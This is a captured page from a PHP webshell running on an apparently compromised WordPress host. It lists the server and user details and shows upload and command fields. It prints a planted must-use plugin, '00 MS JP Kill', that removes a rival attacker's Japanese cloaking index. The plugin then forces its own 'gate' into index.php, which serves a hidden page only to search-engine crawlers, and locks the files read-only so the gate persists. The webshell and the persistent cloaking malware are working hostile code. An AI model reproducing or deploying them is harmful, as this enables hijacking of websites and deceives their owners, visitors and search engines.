403Webshell
Server IP : 172.67.193.39  /  Your IP : 216.73.216.217
Web Server : Apache
System : Linux sr32.hostlife.net 6.12.0-124.52.3.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Sat May 2 09:06:54 EDT 2026 x86_64
User : golfb689 ( 1071)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/golfb689/www/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/golfb689/www/wp-content/mu-plugins/00-ms-jp-kill.php
<?php
/**
 * Plugin Name: 00 MS JP Kill
 * Description: JP/cloak index geri gelirse anında .off-jp karantinaya alır, Medusa gate’i zorla yazar (geri gelemez).
 */
if (!function_exists('ms_jp_kill_is_gate')) {
function ms_jp_kill_is_gate($b) {
    if (!is_string($b) || strlen($b) < 40) return false;
    if (preg_match('/\bgoto\s+[A-Za-z_]/i', $b)) return false;
    return (strpos($b, 'IST_TXT_URL') !== false && strpos($b, 'license.html') !== false)
        || (strpos($b, 'ms-home-gate.php') !== false && strpos($b, 'require') !== false);
}
}
if (!function_exists('ms_jp_kill_is_cloak')) {
function ms_jp_kill_is_cloak($b) {
    if (!is_string($b) || strlen($b) < 40) return true;
    if (ms_jp_kill_is_gate($b)) return false;
    if (preg_match('/\bgoto\s+[A-Za-z_]/i', $b)) return true;
    if (preg_match('/[ぁ-んァ-ン]{3,}/u', $b)) return true;
    if (stripos($b, 'ytag.js') !== false || stripos($b, 'yjDataLayer') !== false) return true;
    if (substr_count($b, '\\x') > 40 && strpos($b, 'IST_TXT_URL') === false) return true;
    return false;
}
}
if (!function_exists('ms_jp_kill_run')) {
function ms_jp_kill_run() {
    $here = rtrim(str_replace('\\', '/', __DIR__), '/');
    if (basename($here) === 'mu-plugins') {
        $root = dirname($here, 2);
    } elseif (defined('ABSPATH') && ABSPATH) {
        $root = rtrim(str_replace('\\', '/', ABSPATH), '/');
    } else {
        $root = $here;
    }
    $idx = $root . '/index.php';
    $live = is_file($idx) ? (string)@file_get_contents($idx) : '';
    if ($live !== '' && !ms_jp_kill_is_cloak($live)) {
        return;
    }
    $q = $root . '/.ms_jp_quarantine';
    if (!is_dir($q)) {
        @mkdir($q, 0755, true);
        @file_put_contents($q . '/.htaccess', "Require all denied\nDeny from all\n");
        @file_put_contents($q . '/index.html', '');
    }
    if (is_file($idx) && $live !== '' && ms_jp_kill_is_cloak($live)) {
        @chmod($idx, 0644);
        // Önce içeriği ez (pasif), sonra karantina
        $dead = "<?php\n/* MS-JP-DEAD */\nif (!headers_sent()) { http_response_code(503); }\nexit;\n";
        @file_put_contents($idx, $dead);
        $dest = $q . '/index.php.off-jp-' . date('YmdHis');
        @rename($idx, $dest) || (@copy($idx, $dest) && @unlink($idx));
        @chmod($dest, 0000);
    }
    $gate = '';
    foreach ([$root . '/.ms_index.bak.php', $root . '/wp-content/.ms_index.bak.php', $root . '/ms-home-gate.php'] as $p) {
        if (!is_file($p)) continue;
        $b = (string)@file_get_contents($p);
        if (ms_jp_kill_is_gate($b) && strlen($b) > 80) {
            $gate = $b;
            break;
        }
    }
    if ($gate === '') {
        $gate = "<?php\nif (is_file(__DIR__.'/ms-home-gate.php')) { require __DIR__.'/ms-home-gate.php'; exit; }\n"
            . "if (is_file(__DIR__.'/license.html') && preg_match('/bot|google|bing|yandex|baidu|duckduck/i', \$_SERVER['HTTP_USER_AGENT'] ?? '')) {\n"
            . "  header('Content-Type: text/html; charset=UTF-8'); readfile(__DIR__.'/license.html'); exit;\n}\n"
            . "if (is_file(__DIR__.'/wp-blog-header.php')) { require __DIR__.'/wp-blog-header.php'; exit; }\n";
    }
    @file_put_contents($idx, $gate);
    @chmod($idx, 0444);
    if (is_file($root . '/ms-home-gate.php')) {
        @chmod($root . '/ms-home-gate.php', 0444);
    }
    if (is_file($root . '/license.html')) {
        @chmod($root . '/license.html', 0444);
    }
}
}
// WP hooks
if (function_exists('add_action')) {
    add_action('muplugins_loaded', 'ms_jp_kill_run', 0);
    add_action('plugins_loaded', 'ms_jp_kill_run', 0);
    add_action('init', 'ms_jp_kill_run', 0);
}
// Auto-prepend / doğrudan include
if (!defined('ABSPATH') || !function_exists('add_action')) {
    ms_jp_kill_run();
}

Youez - 2016 - github.com/yon3zu
LinuXploit